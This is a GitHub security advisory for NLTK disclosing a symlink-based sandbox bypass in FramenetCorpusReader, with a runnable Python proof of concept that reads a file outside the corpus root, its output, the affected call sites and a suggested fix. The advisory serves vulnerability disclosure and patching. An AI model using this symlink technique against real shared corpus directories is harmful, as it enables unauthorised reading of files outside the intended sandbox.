GitHub Advisoryadvisory · PyPI

GHSA-f833-7jw8-xwrv NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)

HIGH Published 2026-09-08 Modified 2026-09-08 Official page ↗
Aliases
CVE-2026-62384
Ecosystem
PyPI
Packages
nltk
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-22, CWE-59
Reviewed
2026-09-08

Affected packages

• PyPI nltk: >= 3.10.0, < 3.10.2 → fixed in 3.10.2

Description

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it. Summary The original advisory was fixed (PR #3581) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase. A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root. Affected code (`nltk/corpus/reader/framenet.py`) • `frame_by_name()` reads `/.xml` • `_lu_file()` reads `/lu.xml` • `doc()` reads `/` All three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`. Proof of concept Self-contained, runnable end to end. ```python import os import tempfile from nltk.corpus.reader.framenet import FramenetCorpusReader root = tempfile.mkdtemp() corpus_root = os.path.join(root, "framenet_v17") frame_dir = os.path.join(corpus_root, "frame") secret_dir = os.path.join(root, "outside_framenet_root") os.makedirs(frame_dir) os.makedirs(secret_dir) with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f: f.write("") secret_path = os.path.join(secret_dir, "stolen.xml") with open(secret_path, "w") as f: f.write( '' "THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT" "" ) Attacker plants this inside /frame/. No path separators, so it passes _reject_unsafe_path_component cleanly. link_path = os.path.join(frame_dir, "evil_link.xml") os.symlink(secret_path, link_path) reader = FramenetCorpusReader(corpus_root, []) reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere print("frame name:", result["name"]) print("definition:", result["definition"]) ``` Actual output when run against unpatched `main` (commit `35813c8`): ``` frame name: StolenFrame definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT ``` That content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `"evil_link"` contains no separators, `..`, or drive prefix. Verified the same way for the other two affected call sites, `_lu_file()` (`lu.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised. Why this is in scope • No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. • Core corpus-reader code, not a demo/GUI tool. • Confirmed unintentional: PR #3581's own description states the goal was to route through "the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`). Suggested fix Route all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.

Related

Alias · CVE (1)

  • CVE-2026-62384 NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML… vulnerability

Weakness · CWE (2)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
  • CWE-59 Improper Link Resolution Before File Access weakness

References